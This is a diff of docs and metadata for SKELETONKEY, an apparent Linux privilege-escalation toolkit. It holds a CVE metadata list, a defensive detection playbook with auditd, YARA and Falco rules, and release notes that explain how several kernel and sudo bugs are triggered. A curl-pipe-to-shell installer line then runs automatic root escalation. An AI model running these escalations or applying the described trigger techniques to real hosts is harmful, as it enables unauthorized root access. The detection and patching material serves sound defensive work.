+    "cwe": "CWE-190",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": true,
+    "kev_date_added": "2024-08-21"
+  },
+  {
+    "cve": "CVE-2022-0492",
+    "module_dir": "cgroup_release_agent_cve_2022_0492",
+    "cwe": "CWE-287",
+    "attack_technique": "T1611",
+    "attack_subtechnique": null,
+    "in_kev": true,
+    "kev_date_added": "2026-06-02"
+  },
+  {
+    "cve": "CVE-2022-0847",
+    "module_dir": "dirty_pipe_cve_2022_0847",
+    "cwe": "CWE-665",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": true,
+    "kev_date_added": "2022-04-25"
+  },
+  {
+    "cve": "CVE-2022-25636",
+    "module_dir": "nft_fwd_dup_cve_2022_25636",
+    "cwe": "CWE-269",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
+  {
+    "cve": "CVE-2022-2588",
+    "module_dir": "cls_route4_cve_2022_2588",
+    "cwe": "CWE-416",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
+  {
+    "cve": "CVE-2023-0179",
+    "module_dir": "nft_payload_cve_2023_0179",
+    "cwe": "CWE-190",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
+  {
+    "cve": "CVE-2023-0386",
+    "module_dir": "overlayfs_setuid_cve_2023_0386",
+    "cwe": "CWE-282",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": true,
+    "kev_date_added": "2025-06-17"
+  },
+  {
+    "cve": "CVE-2023-0458",
+    "module_dir": "entrybleed_cve_2023_0458",
+    "cwe": "CWE-476",
+    "attack_technique": "T1082",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
+  {
+    "cve": "CVE-2023-2008",
+    "module_dir": "vmwgfx_cve_2023_2008",
+    "cwe": "CWE-129",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
+  {
+    "cve": "CVE-2023-22809",
+    "module_dir": "sudoedit_editor_cve_2023_22809",
+    "cwe": "CWE-269",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
+  {
+    "cve": "CVE-2023-32233",
+    "module_dir": "nft_set_uaf_cve_2023_32233",
+    "cwe": "CWE-416",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
+  {
+    "cve": "CVE-2023-3269",
+    "module_dir": "stackrot_cve_2023_3269",
+    "cwe": "CWE-416",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
+  {
+    "cve": "CVE-2023-4622",
+    "module_dir": "af_unix_gc_cve_2023_4622",
+    "cwe": "CWE-416",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
+  {
+    "cve": "CVE-2024-1086",
+    "module_dir": "nf_tables_cve_2024_1086",
+    "cwe": "CWE-416",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": true,
+    "kev_date_added": "2024-05-30"
+  },
+  {
+    "cve": "CVE-2024-26581",
+    "module_dir": "nft_pipapo_cve_2024_26581",
+    "cwe": null,
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
+  {
+    "cve": "CVE-2024-50264",
+    "module_dir": "vsock_uaf_cve_2024_50264",
+    "cwe": "CWE-416",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
+  {
+    "cve": "CVE-2025-32462",
+    "module_dir": "sudo_host_cve_2025_32462",
+    "cwe": "CWE-863",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
+  {
+    "cve": "CVE-2025-32463",
+    "module_dir": "sudo_chwoot_cve_2025_32463",
+    "cwe": "CWE-829",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": true,
+    "kev_date_added": "2025-09-29"
+  },
+  {
+    "cve": "CVE-2025-6019",
+    "module_dir": "udisks_libblockdev_cve_2025_6019",
+    "cwe": "CWE-250",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
+  {
+    "cve": "CVE-2026-23111",
+    "module_dir": "nft_catchall_cve_2026_23111",
+    "cwe": "CWE-416",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
+  {
+    "cve": "CVE-2026-31635",
+    "module_dir": "dirtydecrypt_cve_2026_31635",
+    "cwe": "CWE-130",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
+  {
+    "cve": "CVE-2026-41651",
+    "module_dir": "pack2theroot_cve_2026_41651",
+    "cwe": "CWE-367",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
+  {
+    "cve": "CVE-2026-43494",
+    "module_dir": "pintheft_cve_2026_43494",
+    "cwe": null,
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
+  {
+    "cve": "CVE-2026-46243",
+    "module_dir": "cifswitch_cve_2026_46243",
+    "cwe": "CWE-20",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
+  {
+    "cve": "CVE-2026-46300",
+    "module_dir": "fragnesia_cve_2026_46300",
+    "cwe": "CWE-787",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
+  {
+    "cve": "CVE-2026-46333",
+    "module_dir": "ptrace_pidfd_cve_2026_46333",
+    "cwe": "CWE-269",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  }
+]

docs/DETECTION_PLAYBOOK.md

@@ -41,12 +41,23 @@ make it part of your daily ops" guide.
 # Daily/weekly hygiene check
 sudo skeletonkey --scan
 
+# Investigate a specific finding (one-page operator briefing)
+sudo skeletonkey --explain nf_tables    # whichever module came back VULNERABLE
+# Shows: CVE / CWE / MITRE ATT&CK / CISA KEV status, live detect() trace,
+# OPSEC footprint (what an exploit would leave behind), detection-rule
+# coverage, mitigation. Paste into the triage ticket.
+
 # If anything's VULNERABLE, deploy detections + apply mitigation
 sudo skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
 sudo augenrules --load
 sudo skeletonkey --mitigate copy_fail   # or whichever module fired
 ```
 
+The `--explain` output is also useful as a learning artifact: each
+module's `--explain` block is a self-contained CVE briefing with the
+reasoning chain the detect() function walked, so analysts can verify
+SKELETONKEY's verdict against their own understanding of the bug.
+
 ### Small fleet (~10-100 hosts, SSH-reachable)
 
 Use `tools/skeletonkey-fleet-scan.sh`:
@@ -168,6 +179,70 @@ skeletonkey --detect-rules --format=sigma > /etc/sigma/skeletonkey.yml
 sigmac -t elastic /etc/sigma/skeletonkey.yml
 ```
 
+### YARA artifact scanning
+
+YARA rules catch the **post-fire** state — page-cache shellcode
+overwrites, malicious `.deb` drops, `/etc/passwd` UID flips. Run them
+as a scheduled scan against sensitive paths:
+
+```bash
+# Ship YARA rules
+sudo skeletonkey --detect-rules --format=yara | sudo tee /etc/yara/skeletonkey.yar
+
+# Scheduled scan via cron — catches the page-cache and /tmp artifacts
+# /etc/cron.d/skeletonkey-yara
+*/15 * * * * root yara -r /etc/yara/skeletonkey.yar \
+                       /etc/passwd /tmp /usr/bin/su /usr/bin/passwd \
+                       2>>/var/log/skeletonkey-yara.log
+```
+
+What each rule catches:
+
+| Rule | Triggers on |
+|---|---|
+| `etc_passwd_uid_flip` | Non-root user line in `/etc/passwd` with a zero-padded UID (`0000+`). Canonical Copy Fail / Dirty Frag / Dirty Pipe / DirtyDecrypt outcome. |
+| `etc_passwd_root_no_password` | `root` line with empty password field — DirtyDecrypt's intermediate corruption step. |
+| `pwnkit_gconv_modules_cache` | Small `gconv-modules` text file with a `module UTF-8// X// /tmp/…` redefinition. |
+| `dirty_pipe_passwd_uid_flip` | Same UID-flip pattern (Dirty Pipe-specific tag). |
+| `dirtydecrypt_payload_overlay` | First 28 bytes of `/usr/bin/su` (or similar) match the embedded 120-byte ET_DYN shellcode the V12 PoC overlays. |
+| `fragnesia_payload_overlay` | Same shape for the 192-byte Fragnesia payload. |
+| `pack2theroot_malicious_deb` | `.deb` ar-archive in `/tmp` with the SUID-bash postinst. |
+| `pack2theroot_suid_bash_drop` | `/tmp/.suid_bash` exists and is a real bash ELF. |
+
+The page-cache overlay rules (`dirtydecrypt_payload_overlay`,
+`fragnesia_payload_overlay`) are particularly high-signal: no
+legitimate ELF starts with those exact 28 bytes, so a hit means the
+exploit landed.
+
+### Falco runtime detection
+
+Falco catches the exploit **as it fires** by hooking syscalls and
+namespace events. Best deploy for K8s / container hosts but works on
+any modern Linux:
+
+```bash
+sudo skeletonkey --detect-rules --format=falco \
+    | sudo tee /etc/falco/rules.d/skeletonkey.yaml
+sudo falco --validate /etc/falco/rules.d/skeletonkey.yaml
+sudo systemctl reload falco   # or restart, depending on distro
+```
+
+What each rule catches:
+
+| Rule | Triggers on |
+|---|---|
+| `Pwnkit-style pkexec invocation` | `pkexec` spawned with empty argv (the bug's hallmark). |
+| `Pwnkit-style GCONV_PATH injection` | Non-root sets `GCONV_PATH=` / `CHARSET=` before spawning a setuid binary. |
+| `AF_ALG authenc keyblob installed by non-root` | `socket(AF_ALG)` by non-root — Copy Fail / GCM variant primitive. |
+| `XFRM NETLINK_XFRM bind from unprivileged userns` | XFRM SA setup from non-root userns — Dirty Frag / Fragnesia primitive. |
+| `/etc/passwd modified by non-root` | Post-fire signal for the whole page-cache-write family. |
+| `Dirty Pipe splice from setuid/sensitive file by non-root` | `splice()` of `/etc/passwd` or `/usr/bin/su` by non-root. |
+| `AF_RXRPC socket created by non-root` | DirtyDecrypt primitive — `socket(AF_RXRPC)` is nearly unheard-of in production. |
+| `rxrpc security key added` | `add_key("rxrpc", …)` by non-root — DirtyDecrypt handshake setup. |
+| `TCP_ULP=espintcp set by non-root` | Fragnesia trigger — flipping a TCP socket to espintcp ULP. |
+| `SUID bash dropped to /tmp` | Pack2TheRoot postinst landing `/tmp/.suid_bash`. |
+| `dpkg invoked by PackageKit on behalf of non-root caller` | Pack2TheRoot chain — `packagekitd → dpkg` installing a /tmp `.pk-*.deb`. |
+
 ## Day-to-day operational shape
 
 ### What "good" looks like in the SIEM
@@ -245,6 +320,96 @@ sudo rm /etc/sysctl.d/99-dirtyfail-mitigations.conf
 # Reload affected modules / sysctls per your distro
 ```
 
+## Per-module detection coverage
+
+Across the 4 rule formats:
+
+| Module | CVE | auditd | sigma | yara | falco |
+|---|---|:-:|:-:|:-:|:-:|
+| copy_fail | CVE-2026-31431 | ✓ | ✓ | ✓ | ✓ |
+| copy_fail_gcm | (variant) | ✓ | ✓ | ✓ | ✓ |
+| dirty_frag_esp | CVE-2026-43284 | ✓ | ✓ | ✓ | ✓ |
+| dirty_frag_esp6 | CVE-2026-43284 | ✓ | ✓ | ✓ | ✓ |
+| dirty_frag_rxrpc | CVE-2026-43500 | ✓ | ✓ | ✓ | ✓ |
+| dirty_pipe | CVE-2022-0847 | ✓ | ✓ | ✓ | ✓ |
+| dirtydecrypt | CVE-2026-31635 | ✓ | ✓ | ✓ | ✓ |
+| fragnesia | CVE-2026-46300 | ✓ | ✓ | ✓ | ✓ |
+| pwnkit | CVE-2021-4034 | ✓ | ✓ | ✓ | ✓ |
+| pack2theroot | CVE-2026-41651 | ✓ | ✓ | ✓ | ✓ |
+| Other 21 modules | various | ✓ | partial | — | — |
+
+Full 4-format coverage on the 10 highest-value modules; auditd
+covers everything. YARA / Falco expansion to the remaining 21 modules
+is incremental contributor work (each module's `detect_yara` /
+`detect_falco` field in the module struct just needs a string).
+
+## Correlation across formats
+
+Single-format detections are useful; the high-confidence signal is
+the **correlation across formats** for the same module in a short
+window. Each exploit leaves a recognisable multi-format trail:
+
+| Exploit | falco fires | auditd fires | yara confirms |
+|---|---|---|---|
+| Pwnkit | `pkexec` empty argv | `execve /usr/bin/pkexec` + `GCONV_PATH=` env | gconv-modules cache in /tmp |
+| Dirty Pipe | `splice()` from `/etc/passwd` | splice + write to `/etc/passwd` | UID flip in `/etc/passwd` |
+| Copy Fail | `socket(AF_ALG)` | algif_aead + `ALG_SET_KEY` | UID flip in `/etc/passwd` |
+| Dirty Frag (ESP) | NETLINK_XFRM sendto + TCP_ULP | XFRM_MSG_NEWSA | UID flip in `/etc/passwd` |
+| DirtyDecrypt | `socket(AF_RXRPC)` + `add_key(rxrpc)` | AF_RXRPC + add_key | 120-byte ELF overwrites `/usr/bin/su` |
+| Fragnesia | `TCP_ULP=espintcp` from non-root | XFRM + setsockopt(TCP_ULP) | 192-byte ELF overwrites `/usr/bin/su` |
+| Pack2TheRoot | dpkg invoked by packagekitd with /tmp/.pk-*.deb | new `.deb` in `/tmp` + `chmod 4755` on `/tmp/.suid_bash` | malicious `.deb` + SUID bash both present |
+
+If **three of the four signals** fire for the same module in the same
+window, the exploit landed. **One signal alone** in a noisy
+environment is more likely a tuning FP; **three signals** is incident
+response.
+
+## Worked example: catching DirtyDecrypt end-to-end
+
+A SOC operator gets a Falco page:
+
+```
+CRITICAL  AF_RXRPC socket() by non-root  (user=alice proc=poc pid=44231)
+```
+
+1. **Confirm via auditd** — pull events keyed on the family:
+   ```bash
+   sudo ausearch -k skeletonkey-dirtydecrypt-rxrpc -ts recent
+   ```
+   Expect: `socket(...,33,...)` + subsequent `add_key("rxrpc",...)`.
+
+2. **Confirm via yara** — scan setuid binaries for the page-cache
+   overlay:
+   ```bash
+   yara /etc/yara/skeletonkey.yar /usr/bin/su /usr/bin/passwd
+   ```
+   If `dirtydecrypt_payload_overlay` matches `/usr/bin/su`, **the
+   exploit landed** — the binary's page cache has been overwritten
+   with the 120-byte shellcode.
+
+3. **Recover** — the on-disk binary is intact; only the page cache is
+   corrupted. Drop it:
+   ```bash
+   sudo skeletonkey --cleanup dirtydecrypt   # or: echo 3 > /proc/sys/vm/drop_caches
+   ```
+
+4. **Sigma hunt for lateral / repeat** — query your SIEM with the
+   sigma rule ID `7c1e9a40-skeletonkey-dirtydecrypt` over the last 7
+   days to find any other hosts.
+
+5. **Patch.** DirtyDecrypt's mainline fix is commit `a2567217` in
+   Linux 7.0 — see [`CVES.md`](../CVES.md) for distro backports.
+
+6. **Harden.** `rxrpc` is rarely needed on non-AFS hosts:
+   ```bash
+   echo "blacklist rxrpc" | sudo tee /etc/modprobe.d/blacklist-rxrpc.conf
+   sudo update-initramfs -u
+   ```
+
+The same shape applies to every module: pick the auditd key, the
+yara rule for the artifact, the falco rule for the runtime signal,
+and the sigma rule for the hunt.
+
 ## Common false positives + tuning
 
 | Rule key | False positive | Fix |

docs/KEV_CROSSREF.md

@@ -0,0 +1,59 @@
+# CISA KEV Cross-Reference
+
+Which SKELETONKEY modules cover CVEs that CISA has observed exploited
+in the wild per the Known Exploited Vulnerabilities catalog.
+Refreshed via `tools/refresh-cve-metadata.py`.
+
+**13 of 38 modules cover KEV-listed CVEs.**
+
+## In KEV (prioritize patching)
+
+| CVE | Date added to KEV | CWE | Module |
+| --- | --- | --- | --- |
+| CVE-2019-13272 | 2021-12-10 | ? | `ptrace_traceme_cve_2019_13272` |
+| CVE-2016-5195 | 2022-03-03 | CWE-362 | `dirty_cow_cve_2016_5195` |
+| CVE-2021-3156 | 2022-04-06 | CWE-193 | `sudo_samedit_cve_2021_3156` |
+| CVE-2022-0847 | 2022-04-25 | CWE-665 | `dirty_pipe_cve_2022_0847` |
+| CVE-2021-4034 | 2022-06-27 | CWE-787 | `pwnkit_cve_2021_4034` |
+| CVE-2021-3493 | 2022-10-20 | CWE-270 | `overlayfs_cve_2021_3493` |
+| CVE-2024-1086 | 2024-05-30 | CWE-416 | `nf_tables_cve_2024_1086` |
+| CVE-2022-0185 | 2024-08-21 | CWE-190 | `fuse_legacy_cve_2022_0185` |
+| CVE-2023-0386 | 2025-06-17 | CWE-282 | `overlayfs_setuid_cve_2023_0386` |
+| CVE-2025-32463 | 2025-09-29 | CWE-829 | `sudo_chwoot_cve_2025_32463` |
+| CVE-2021-22555 | 2025-10-06 | CWE-787 | `netfilter_xtcompat_cve_2021_22555` |
+| CVE-2018-14634 | 2026-01-26 | CWE-190 | `mutagen_astronomy_cve_2018_14634` |
+| CVE-2022-0492 | 2026-06-02 | CWE-287 | `cgroup_release_agent_cve_2022_0492` |
+
+## Not in KEV
+
+Not observed exploited per CISA — but several have public PoC code
+and are technically reachable. "Not in KEV" is not the same as
+"safe to ignore".
+
+| CVE | CWE | Module |
+| --- | --- | --- |
+| CVE-2017-7308 | CWE-681 | `af_packet_cve_2017_7308` |
+| CVE-2019-14287 | CWE-755 | `sudo_runas_neg1_cve_2019_14287` |
+| CVE-2020-14386 | CWE-250 | `af_packet2_cve_2020_14386` |
+| CVE-2020-29661 | CWE-416 | `tioscpgrp_cve_2020_29661` |
+| CVE-2021-33909 | CWE-190 | `sequoia_cve_2021_33909` |
+| CVE-2022-25636 | CWE-269 | `nft_fwd_dup_cve_2022_25636` |
+| CVE-2022-2588 | CWE-416 | `cls_route4_cve_2022_2588` |
+| CVE-2023-0179 | CWE-190 | `nft_payload_cve_2023_0179` |
+| CVE-2023-0458 | CWE-476 | `entrybleed_cve_2023_0458` |
+| CVE-2023-2008 | CWE-129 | `vmwgfx_cve_2023_2008` |
+| CVE-2023-22809 | CWE-269 | `sudoedit_editor_cve_2023_22809` |
+| CVE-2023-32233 | CWE-416 | `nft_set_uaf_cve_2023_32233` |
+| CVE-2023-3269 | CWE-416 | `stackrot_cve_2023_3269` |
+| CVE-2023-4622 | CWE-416 | `af_unix_gc_cve_2023_4622` |
+| CVE-2024-26581 | ? | `nft_pipapo_cve_2024_26581` |
+| CVE-2024-50264 | CWE-416 | `vsock_uaf_cve_2024_50264` |
+| CVE-2025-32462 | CWE-863 | `sudo_host_cve_2025_32462` |
+| CVE-2025-6019 | CWE-250 | `udisks_libblockdev_cve_2025_6019` |
+| CVE-2026-23111 | CWE-416 | `nft_catchall_cve_2026_23111` |
+| CVE-2026-31635 | CWE-130 | `dirtydecrypt_cve_2026_31635` |
+| CVE-2026-41651 | CWE-367 | `pack2theroot_cve_2026_41651` |
+| CVE-2026-43494 | ? | `pintheft_cve_2026_43494` |
+| CVE-2026-46243 | CWE-20 | `cifswitch_cve_2026_46243` |
+| CVE-2026-46300 | CWE-787 | `fragnesia_cve_2026_46300` |
+| CVE-2026-46333 | CWE-269 | `ptrace_pidfd_cve_2026_46333` |

docs/LAUNCH.md

@@ -26,6 +26,7 @@ haven't been maintained in years.
 
 ```bash
 curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
+  && export PATH="$HOME/.local/bin:$PATH" \
   && skeletonkey --auto --i-know
 ```
 

docs/RELEASE_NOTES.md

@@ -0,0 +1,734 @@
+## SKELETONKEY v0.9.11 — new LPE module: nft_catchall (CVE-2026-23111)
+
+Adds **`nft_catchall` — CVE-2026-23111**, taking the corpus to **43
+modules / 38 CVEs**. The newest nftables LPE: a **use-after-free** in the
+nf_tables transaction-abort path. `nft_map_catchall_activate()` carries an
+inverted condition (a stray `!`) so the abort path processes *active*
+catch-all map elements instead of skipping them — a catch-all GOTO element
+drives a chain's use-count to zero, and a following `DELCHAIN` frees the
+chain while the catch-all verdict still references it → UAF. From an
+unprivileged user (user namespaces + nftables) it escalates to root via a
+`modprobe_path` / `selinux_state` ROP. Fixed upstream by commit `f41c5d1`;
+CWE-416, CVSS 7.8; not in CISA KEV. Public reproduction + analysis by
+**FuzzingLabs**.
+
+🟡 **Trigger (reconstructed) — primitive-only, not VM-verified.** This is
+one more UAF in the corpus's most-covered subsystem (`nf_tables`,
+`nft_set_uaf`, `nft_payload`, `nft_pipapo`, …) and ships on the same
+contract as `nf_tables` (CVE-2024-1086): a fork-isolated trigger that
+fires the bug class and stops. `detect()` version-gates against the
+Debian backports (upstream thresholds 6.1.164 / 6.12.73 / 6.18.10;
+catch-all set elements arrived ~5.13) **and** requires unprivileged
+user-namespace clone — a vulnerable kernel with userns locked down is
+`PRECOND_FAIL`. `exploit()` builds a verdict map with a catch-all GOTO
+element and provokes an aborting batch transaction to drive the abort-path
+UAF, observes slabinfo, and returns `EXPLOIT_FAIL`. The per-kernel leak +
+arbitrary-R/W + `modprobe_path` ROP is **not** bundled (per-build offsets
+refused), and the trigger is reconstructed from the public analysis rather
+than VM-verified — it never claims root it did not get. Ships auditd +
+sigma + falco rules, ATT&CK T1068 + CWE-416 metadata, six new `detect()`
+unit-test rows (version + userns gating), credits FuzzingLabs + the
+upstream fix in `NOTICE.md`, and a verify-vm target (sweep pending). Not
+VM-verified, so the verified count stays 28 of 38.
+
+## SKELETONKEY v0.9.10 — new LPE module: cifswitch (CVE-2026-46243)
+
+Adds **`cifswitch` — CVE-2026-46243 "CIFSwitch"** (Asim Manizada,
+2026-05-28), taking the corpus to **42 modules / 37 CVEs**. The newest
+kernel-7-era LPE not already covered: a ~19-year-old logic flaw in
+`fs/smb/client/cifs_spnego.c` where the `cifs.spnego` request-key type
+accepts key descriptions created by *userspace* (`add_key(2)` /
+`request_key(2)`) without verifying the request came from the in-kernel
+CIFS client. The description carries authority-bearing fields
+(`pid`/`uid`/`creduid`/`upcall_target`) that the root `cifs.upcall`
+helper trusts as kernel-originating; combined with user+mount namespace
+tricks, an unprivileged user coerces `cifs.upcall` into loading an
+attacker NSS module as root. Fixed upstream by `3da1fdf4efbc` (merged
+7.1-rc5); NVD class CWE-20; not in CISA KEV.
+
+🟡 **Honest port — full chain not VM-verified.** `detect()` gates on the
+kernel version (Debian backports 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10)
+**and** on the presence of the vulnerable userspace path — a vulnerable
+kernel without `cifs-utils` reports `PRECOND_FAIL`, not a false
+`VULNERABLE` (override the probe with `SKELETONKEY_CIFS_ASSUME_PRESENT=1`
+/`0`). `exploit()` fires only the non-destructive primitive — `add_key(2)`
+of a forged-but-benign `cifs.spnego` key, which does **not** invoke
+`cifs.upcall` and loads nothing, revoked immediately — and treats a clean
+accept as the empirical witness that userspace can forge the
+authority-bearing key type. It then stops: the namespace-switch +
+malicious-NSS-load root-pop is target/config-specific and is not bundled
+until VM-verified, so it returns honest `EXPLOIT_FAIL` without a euid-0
+witness (never fabricates root). `--mitigate` blocklists the `cifs`
+module (`/etc/modprobe.d/skeletonkey-disable-cifs.conf`); `--cleanup`
+reverts. Structural, arch-agnostic (keyring + namespace logic, no
+shellcode). Ships auditd + sigma + falco rules, MITRE ATT&CK T1068 +
+CWE-20 metadata, six new `detect()` unit-test rows, and credits Asim
+Manizada in `NOTICE.md`. **Partially VM-verified** (2026-06-08, Ubuntu
+24.04.4 / kernel 6.8.0-117, QEMU/HVF): `detect()`'s precondition + version
+gating and the `add_key` primitive are confirmed — an independent
+`python3` `ctypes` `add_key("cifs.spnego", …)` was accepted and the
+module's `exploit()` reported "primitive CONFIRMED" then honest
+`EXPLOIT_FAIL`. The full namespace+NSS root-pop and a patched-kernel
+discriminator check remain pending, so cifswitch is **not** counted as a
+verified end-to-end CVE — the verified count stays 28 of 37. Details in
+the module `NOTICE.md` and `tools/verify-vm/targets.yaml`.
+
+## SKELETONKEY v0.9.9 — install.sh needs no root; CVE-2022-0492 KEV drift
+
+Two maintenance fixes, no new modules.
+
+**`install.sh` never escalates to sudo.** SKELETONKEY is a privilege-
+escalation tool — the operator by definition does *not* have root yet, so
+the installer must not demand it. The old default wrote to `/usr/local/bin`
+and fell back to `sudo mv` when that wasn't writable, prompting for a
+password on exactly the unprivileged accounts this tool targets. It now
+installs sudo-free: `/usr/local/bin` is used only when already writable,
+otherwise it falls back to a per-user `$HOME/.local/bin` (honoring
+`XDG_BIN_HOME`), created as needed. An explicit `SKELETONKEY_PREFIX` is
+honored exactly and errors rather than escalating if unwritable. When the
+chosen dir isn't on `$PATH` the installer prints the absolute path, and the
+documented `curl … | sh && skeletonkey --auto --i-know` one-liner now
+prepends `$HOME/.local/bin` to `$PATH` so it resolves on a fresh login. The
+quickstart no longer prefixes `sudo` to `--scan`/`--audit`/`--auto` —
+detection and escalation run as the unprivileged user; only writing audit
+rules into `/etc/audit` legitimately needs root.
+
+**Federal metadata drift (the failing scheduled build).** The weekly
+`drift-check` caught two upstream changes since v0.9.8:
+
+- **CVE-2022-0492 entered CISA KEV (2026-06-02).** The cgroup v1
+  `release_agent` container-escape (`cgroup_release_agent`) is now on the
+  Known Exploited Vulnerabilities catalog. The corpus reports **13 of 36**
+  modules covering KEV-listed CVEs (was 12).
+- **CVE-2026-46333 gained a CWE.** When `ptrace_pidfd` was added two weeks
+  after disclosure, NVD had not yet classified it; it is now **CWE-269**
+  (Improper Privilege Management).
+
+A third, latent cause kept the gate red even after those two: when
+`sudo_host` (CVE-2025-32462) was added in v0.9.8 its record was appended to
+the *end* of `CVE_METADATA.json`, but the drift check compares the record
+list in `discover_cves()`'s sorted order — so the out-of-order entry read
+as drift regardless of its values. Regenerating via the script restores
+sorted order.
+
+Refreshed `CVE_METADATA.json`, the generated `cve_metadata.c` table, and
+`KEV_CROSSREF.md` accordingly (README + website counts updated).
+
+## SKELETONKEY v0.9.8 — two new LPE modules (ptrace_pidfd, sudo_host)
+
+Adds the two most compelling recent Linux LPEs not already in the corpus,
+taking it to **41 modules / 36 CVEs** (every year 2016 → 2026 still
+covered).
+
+**`ptrace_pidfd` — CVE-2026-46333** (Qualys TRU, 2026-05-20). A logic
+flaw in the kernel's `__ptrace_may_access()` path leaves a process that
+is *dropping* its credentials briefly reachable past its `dumpable`
+boundary; `pidfd_getfd(2)` rides that window to steal a root-opened file
+descriptor or authenticated channel from a transiently-privileged setuid
+binary (chage / pkexec / ssh-keysign) or root daemon. Default-distro, no
+userns, architecture-agnostic (descriptor theft, no shellcode). detect()
+is version-pinned (predates-gate at pidfd_getfd's 5.6 introduction;
+Debian backports 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7). `--mitigate`
+sets `kernel.yama.ptrace_scope=2`.
+
+**`sudo_host` — CVE-2025-32462** (Rich Mirch / Stratascale, 2025-06-30;
+sibling of v0.8.0's `sudo_chwoot`). sudo's `-h`/`--host` option, meant
+only to pair with `-l`, was honored when running a command — so a
+sudoers rule scoped to a host other than the current machine (and not
+ALL) is usable via `sudo -h <host> <cmd>` for local root. Affects sudo
+1.8.8 → 1.9.17p0 (fixed 1.9.17p1); CWE-863, CVSS 8.8. Most relevant to
+fleet-wide / LDAP / SSSD sudoers.
+
+Both are honest ports: detect() is version-pinned and unit-tested (10 new
+detect() rows, all green in CI), and exploit() fires the real primitive
+and returns `EXPLOIT_FAIL` unless it can witness euid 0 — never
+fabricating root. Neither is VM-verified yet (both flagged "sweep
+pending" in `tools/verify-vm/targets.yaml`), so the verified count stays
+28 of 36. Each ships auditd + sigma + falco rules, MITRE ATT&CK + CWE
+metadata, and credits the original researcher in its `NOTICE.md`.
+
+## SKELETONKEY v0.9.7 — kernel_range drift fix + CI Node 24 readiness
+
+Two maintenance fixes, no new modules.
+
+**`fragnesia` kernel_range drift.** Debian backported CVE-2026-46300 to
+the 5.10 oldstable branch (bullseye 5.10.257), a branch the module's
+`kernel_patched_from` table didn't model — on a patched bullseye host
+`detect()` would have false-positived VULNERABLE. Added the `{5,10,257}`
+entry; the weekly `refresh-kernel-ranges.py` drift gate is green again.
+(The other flagged modules are INFO-only "more permissive" thresholds
+the check tolerates by design.)
+
+**CI Node 24 readiness.** GitHub forces the Node 24 Actions runtime on
+2026-06-16 and removes Node 20. Bumped every workflow action off its
+Node-20 line:
+
+- `actions/checkout` v4 → v6
+- `actions/upload-artifact` v4 → v7
+- `actions/download-artifact` v4 → v8
+- `softprops/action-gh-release` v2 → v3
+
+Each was reviewed against its changelog: the artifact flow uploads
+default-zipped, uniquely-named artifacts and downloads the full set, so
+none of the major-version breaking changes (opt-in direct uploads,
+download-by-ID path changes) apply. This release is itself the
+end-to-end test of the new artifact actions.
+
+## SKELETONKEY v0.9.6 — `--auto` no longer prompts for sudo password
+
+Two sudo modules' `detect()` bodies invoked `sudo -ln` to read the
+user's allowed-commands list. The intent was non-interactive — `-ln`
+should parse as `-l -n` (list + non-interactive). But some sudoers /
+PAM configurations have been observed prompting for a password
+anyway when the flags are bundled, defeating the point.
+
+That meant `skeletonkey --auto --i-know` could hang on a sudo
+password prompt during the corpus scan, even though the whole point
+of an LPE tool is to *get* root without already having it.
+
+Fix in `sudo_runas_neg1` and `sudoedit_editor`:
+
+- `-n -l` written as separate flags (instead of bundled `-ln`)
+- `</dev/null` redirect so sudo cannot fall back to reading the tty
+  even if the PAM stack tries
+
+Belt-and-suspenders. `--auto` is now guaranteed never to block on
+tty input.
+
+---
+
+## SKELETONKEY v0.9.5 — kernel_range drift cleanup (the other half)
+
+v0.9.4 fixed the `cve_metadata` drift but exposed a *second* drift
+check (`kernel_range drift`) that had been hidden behind it. That
+check compares each module's `kernel_patched_from` table against
+Debian's security tracker. It had **11 TOO_TIGHT + 8 MISSING
+findings across 12 modules** — meaning `detect()` would have
+reported VULNERABLE on many kernels that Debian has on record as
+patched (false-positives), or missed branches entirely.
+
